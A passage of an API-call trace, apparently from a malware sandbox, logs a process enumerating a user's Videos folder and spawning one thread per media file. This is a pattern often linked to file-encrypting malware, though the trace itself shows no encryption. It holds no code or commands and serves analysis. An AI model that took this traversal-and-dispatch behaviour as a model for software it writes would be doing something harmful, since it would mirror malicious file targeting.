CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40 [0049.441] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1bfa0, ftCreationTime.dwHighDateTime=0x1d4d3f0, ftLastAccessTime.dwLowDateTime=0x259af620, ftLastAccessTime.dwHighDateTime=0x1d4ca1a, ftLastWriteTime.dwLowDateTime=0x259af620, ftLastWriteTime.dwHighDateTime=0x1d4ca1a, nFileSizeHigh=0x0, nFileSizeLow=0x4334, dwReserved0=0x0, dwReserved1=0x0, cFileName="9w_CuTsa0G.mkv", cAlternateFileName="9W_CUT~1.MKV")) returned 1 [0049.441] wcscmp (_String1="9w_CuTsa0G.mkv", _String2=".") returned 1 [0049.441] wcscmp (_String1="9w_CuTsa0G.mkv", _String2="..") returned 1 [0049.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x5e46d48 [0049.441] wcscpy (in: _Dest=0x5e46d48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.441] wcscat (in: _Dest=0x5e46d48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.441] wcscat (in: _Dest=0x5e46d48, _Source="9w_CuTsa0G.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv" [0049.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0049.442] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca12a0, ftCreationTime.dwHighDateTime=0x1d4d30f, ftLastAccessTime.dwLowDateTime=0x4446ccf0, ftLastAccessTime.dwHighDateTime=0x1d4d0ac, ftLastWriteTime.dwLowDateTime=0x4446ccf0, ftLastWriteTime.dwHighDateTime=0x1d4d0ac, nFileSizeHigh=0x0, nFileSizeLow=0x49e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bSVo37G4.swf", cAlternateFileName="")) returned 1 [0049.442] wcscmp (_String1="bSVo37G4.swf", _String2=".") returned 1 [0049.442] wcscmp (_String1="bSVo37G4.swf", _String2="..") returned 1 [0049.442] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x5e46db8 [0049.442] wcscpy (in: _Dest=0x5e46db8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.442] wcscat (in: _Dest=0x5e46db8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.442] wcscat (in: _Dest=0x5e46db8, _Source="bSVo37G4.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf" [0049.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46db8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48 [0049.444] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef443f0, ftCreationTime.dwHighDateTime=0x1d4d3aa, ftLastAccessTime.dwLowDateTime=0xad9e5150, ftLastAccessTime.dwHighDateTime=0x1d4cc79, ftLastWriteTime.dwLowDateTime=0xad9e5150, ftLastWriteTime.dwHighDateTime=0x1d4cc79, nFileSizeHigh=0x0, nFileSizeLow=0xd7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C1Zx 6H8.avi", cAlternateFileName="C1ZX6H~1.AVI")) returned 1 [0049.444] wcscmp (_String1="C1Zx 6H8.avi", _String2=".") returned 1 [0049.444] wcscmp (_String1="C1Zx 6H8.avi", _String2="..") returned 1 [0049.444] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x5e46e28 [0049.444] wcscpy (in: _Dest=0x5e46e28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.444] wcscat (in: _Dest=0x5e46e28, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.444] wcscat (in: _Dest=0x5e46e28, _Source="C1Zx 6H8.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi" [0049.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c [0049.445] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0d59e40, ftCreationTime.dwHighDateTime=0x1d4c712, ftLastAccessTime.dwLowDateTime=0x7e0e2850, ftLastAccessTime.dwHighDateTime=0x1d4cc3f, ftLastWriteTime.dwLowDateTime=0x7e0e2850, ftLastWriteTime.dwHighDateTime=0x1d4cc3f, nFileSizeHigh=0x0, nFileSizeLow=0x34b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CQCoZngnI1unyoCqPW.flv", cAlternateFileName="CQCOZN~1.FLV")) returned 1 [0049.445] wcscmp (_String1="CQCoZngnI1unyoCqPW.flv", _String2=".") returned 1 [0049.445] wcscmp (_String1="CQCoZngnI1unyoCqPW.flv", _String2="..") returned 1 [0049.445] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e738 [0049.445] wcscpy (in: _Dest=0x45e738, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.445] wcscat (in: _Dest=0x45e738, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.445] wcscat (in: _Dest=0x45e738, _Source="CQCoZngnI1unyoCqPW.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv" [0049.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0049.446] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.446] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0049.447] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0049.447] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6359210, ftCreationTime.dwHighDateTime=0x1d4d018, ftLastAccessTime.dwLowDateTime=0xa39fedb0, ftLastAccessTime.dwHighDateTime=0x1d4c5a5, ftLastWriteTime.dwLowDateTime=0xa39fedb0, ftLastWriteTime.dwHighDateTime=0x1d4c5a5, nFileSizeHigh=0x0, nFileSizeLow=0x11c61, dwReserved0=0x0, dwReserved1=0x0, cFileName="g-FOtHWLLfsN.avi", cAlternateFileName="G-FOTH~1.AVI")) returned 1 [0049.447] wcscmp (_String1="g-FOtHWLLfsN.avi", _String2=".") returned 1 [0049.447] wcscmp (_String1="g-FOtHWLLfsN.avi", _String2="..") returned 1 [0049.447] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418a28 [0049.447] wcscpy (in: _Dest=0x418a28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.447] wcscat (in: _Dest=0x418a28, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.447] wcscat (in: _Dest=0x418a28, _Source="g-FOtHWLLfsN.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi" [0049.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54 [0049.448] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57691020, ftCreationTime.dwHighDateTime=0x1d4d437, ftLastAccessTime.dwLowDateTime=0xc522ef30, ftLastAccessTime.dwHighDateTime=0x1d4d420, ftLastWriteTime.dwLowDateTime=0xc522ef30, ftLastWriteTime.dwHighDateTime=0x1d4d420, nFileSizeHigh=0x0, nFileSizeLow=0x71ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="gHJmSTMmw6Z9kUlhT.mp4", cAlternateFileName="GHJMST~1.MP4")) returned 1 [0049.448] wcscmp (_String1="gHJmSTMmw6Z9kUlhT.mp4", _String2=".") returned 1 [0049.448] wcscmp (_String1="gHJmSTMmw6Z9kUlhT.mp4", _String2="..") returned 1 [0049.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45ec38 [0049.448] wcscpy (in: _Dest=0x45ec38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.448] wcscat (in: _Dest=0x45ec38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.448] wcscat (in: _Dest=0x45ec38, _Source="gHJmSTMmw6Z9kUlhT.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4" [0049.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45ec38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0049.449] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb488820, ftCreationTime.dwHighDateTime=0x1d4d001, ftLastAccessTime.dwLowDateTime=0x16b396a0, ftLastAccessTime.dwHighDateTime=0x1d4cf18, ftLastWriteTime.dwLowDateTime=0x16b396a0, ftLastWriteTime.dwHighDateTime=0x1d4cf18, nFileSizeHigh=0x0, nFileSizeLow=0x10699, dwReserved0=0x0, dwReserved1=0x0, cFileName="JpD-RPdGEbD16vZcCgdW.mkv", cAlternateFileName="JPD-RP~1.MKV")) returned 1 [0049.449] wcscmp (_String1="JpD-RPdGEbD16vZcCgdW.mkv", _String2=".") returned 1 [0049.449] wcscmp (_String1="JpD-RPdGEbD16vZcCgdW.mkv", _String2="..") returned 1 [0049.449] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447870 [0049.449] wcscpy (in: _Dest=0x447870, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.449] wcscat (in: _Dest=0x447870, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.449] wcscat (in: _Dest=0x447870, _Source="JpD-RPdGEbD16vZcCgdW.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv" [0049.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0049.451] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc844b960, ftCreationTime.dwHighDateTime=0x1d4cba0, ftLastAccessTime.dwLowDateTime=0x589ea330, ftLastAccessTime.dwHighDateTime=0x1d4d3e5, ftLastWriteTime.dwLowDateTime=0x589ea330, ftLastWriteTime.dwHighDateTime=0x1d4d3e5, nFileSizeHigh=0x0, nFileSizeLow=0x15016, dwReserved0=0x0, dwReserved1=0x0, cFileName="LzNYWADitioiR.avi", cAlternateFileName="LZNYWA~1.AVI")) returned 1 [0049.451] wcscmp (_String1="LzNYWADitioiR.avi", _String2=".") returned 1 [0049.451] wcscmp (_String1="LzNYWADitioiR.avi", _String2="..") returned 1 [0049.451] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b168 [0049.451] wcscpy (in: _Dest=0x43b168, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.451] wcscat (in: _Dest=0x43b168, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.451] wcscat (in: _Dest=0x43b168, _Source="LzNYWADitioiR.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi" [0049.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43b168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0049.452] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e683e0, ftCreationTime.dwHighDateTime=0x1d4cace, ftLastAccessTime.dwLowDateTime=0xc128db90, ftLastAccessTime.dwHighDateTime=0x1d4cd38, ftLastWriteTime.dwLowDateTime=0xc128db90, ftLastWriteTime.dwHighDateTime=0x1d4cd38, nFileSizeHigh=0x0, nFileSizeLow=0x34b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MkYUE6adrX JEK.flv", cAlternateFileName="MKYUE6~1.FLV")) returned 1 [0049.452] wcscmp (_String1="MkYUE6adrX JEK.flv", _String2=".") returned 1 [0049.452] wcscmp (_String1="MkYUE6adrX JEK.flv", _String2="..") returned 1 [0049.452] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b1e0 [0049.452] wcscpy (in: _Dest=0x43b1e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.452] wcscat (in: _Dest=0x43b1e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.452] wcscat (in: _Dest=0x43b1e0, _Source="MkYUE6adrX JEK.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv" [0049.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43b1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64 [0049.453] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a72f7a0, ftCreationTime.dwHighDateTime=0x1d4c9de, ftLastAccessTime.dwLowDateTime=0x8ed39b60, ftLastAccessTime.dwHighDateTime=0x1d4d3de, ftLastWriteTime.dwLowDateTime=0x8ed39b60, ftLastWriteTime.dwHighDateTime=0x1d4d3de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n3-6815jRnwJ8d", cAlternateFileName="N3-681~1")) returned 1 [0049.453] wcscmp (_String1="n3-6815jRnwJ8d", _String2=".") returned 1 [0049.453] wcscmp (_String1="n3-6815jRnwJ8d", _String2="..") returned 1 [0049.453] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x5e46e98 [0049.454] wcscpy (in: _Dest=0x5e46e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.454] wcscat (in: _Dest=0x5e46e98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.454] wcscat (in: _Dest=0x5e46e98, _Source="n3-6815jRnwJ8d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d" [0049.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e46e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68 [0049.455] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63d8f90, ftCreationTime.dwHighDateTime=0x1d4c78c, ftLastAccessTime.dwLowDateTime=0x50294070, ftLastAccessTime.dwHighDateTime=0x1d4c7f6, ftLastWriteTime.dwLowDateTime=0x50294070, ftLastWriteTime.dwHighDateTime=0x1d4c7f6, nFileSizeHigh=0x0, nFileSizeLow=0xbddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOAwgrzE.avi", cAlternateFileName="")) returned 1 [0049.455] wcscmp (_String1="NOAwgrzE.avi", _String2=".") returned 1 [0049.455] wcscmp (_String1="NOAwgrzE.avi", _String2="..") returned 1 [0049.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x5e46f08 [0049.455] wcscpy (in: _Dest=0x5e46f08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.455] wcscat (in: _Dest=0x5e46f08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.455] wcscat (in: _Dest=0x5e46f08, _Source="NOAwgrzE.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi" [0049.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa6c [0049.481] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe05fc850, ftCreationTime.dwHighDateTime=0x1d4cb9b, ftLastAccessTime.dwLowDateTime=0x2f53b100, ftLastAccessTime.dwHighDateTime=0x1d4d269, ftLastWriteTime.dwLowDateTime=0x2f53b100, ftLastWriteTime.dwHighDateTime=0x1d4d269, nFileSizeHigh=0x0, nFileSizeLow=0x12192, dwReserved0=0x0, dwReserved1=0x0, cFileName="ol9Qae GeYu.flv", cAlternateFileName="OL9QAE~1.FLV")) returned 1 [0049.481] wcscmp (_String1="ol9Qae GeYu.flv", _String2=".") returned 1 [0049.481] wcscmp (_String1="ol9Qae GeYu.flv", _String2="..") returned 1 [0049.481] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x43b258 [0049.481] wcscpy (in: _Dest=0x43b258, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.481] wcscat (in: _Dest=0x43b258, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.481] wcscat (in: _Dest=0x43b258, _Source="ol9Qae GeYu.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv" [0049.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43b258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa70 [0049.482] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58738b0, ftCreationTime.dwHighDateTime=0x1d4d0d2, ftLastAccessTime.dwLowDateTime=0x87815fe0, ftLastAccessTime.dwHighDateTime=0x1d4d3f8, ftLastWriteTime.dwLowDateTime=0x87815fe0, ftLastWriteTime.dwHighDateTime=0x1d4d3f8, nFileSizeHigh=0x0, nFileSizeLow=0x55cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="QCip8ivBIrzctE9t7.mp4", cAlternateFileName="QCIP8I~1.MP4")) returned 1 [0049.482] wcscmp (_String1="QCip8ivBIrzctE9t7.mp4", _String2=".") returned 1 [0049.482] wcscmp (_String1="QCip8ivBIrzctE9t7.mp4", _String2="..") returned 1 [0049.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45ecb8 [0049.482] wcscpy (in: _Dest=0x45ecb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.483] wcscat (in: _Dest=0x45ecb8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.483] wcscat (in: _Dest=0x45ecb8, _Source="QCip8ivBIrzctE9t7.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4" [0049.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45ecb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74 [0049.484] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f31cb0, ftCreationTime.dwHighDateTime=0x1d4c8df, ftLastAccessTime.dwLowDateTime=0xde02f280, ftLastAccessTime.dwHighDateTime=0x1d4ce8e, ftLastWriteTime.dwLowDateTime=0xde02f280, ftLastWriteTime.dwHighDateTime=0x1d4ce8e, nFileSizeHigh=0x0, nFileSizeLow=0xa2e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="X8WS GKdmxuliz0.swf", cAlternateFileName="X8WSGK~1.SWF")) returned 1 [0049.484] wcscmp (_String1="X8WS GKdmxuliz0.swf", _String2=".") returned 1 [0049.484] wcscmp (_String1="X8WS GKdmxuliz0.swf", _String2="..") returned 1 [0049.484] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45ed38 [0049.484] wcscpy (in: _Dest=0x45ed38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.484] wcscat (in: _Dest=0x45ed38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.484] wcscat (in: _Dest=0x45ed38, _Source="X8WS GKdmxuliz0.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf" [0049.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45ed38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa78 [0049.485] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef9e6340, ftCreationTime.dwHighDateTime=0x1d4d4b9, ftLastAccessTime.dwLowDateTime=0x53770130, ftLastAccessTime.dwHighDateTime=0x1d4d0d0, ftLastWriteTime.dwLowDateTime=0x53770130, ftLastWriteTime.dwHighDateTime=0x1d4d0d0, nFileSizeHigh=0x0, nFileSizeLow=0x10d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="_14b UCeAhpFb.mp4", cAlternateFileName="_14BUC~1.MP4")) returned 1 [0049.485] wcscmp (_String1="_14b UCeAhpFb.mp4", _String2=".") returned 1 [0049.485] wcscmp (_String1="_14b UCeAhpFb.mp4", _String2="..") returned 1 [0049.485] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b2d0 [0049.485] wcscpy (in: _Dest=0x43b2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.486] wcscat (in: 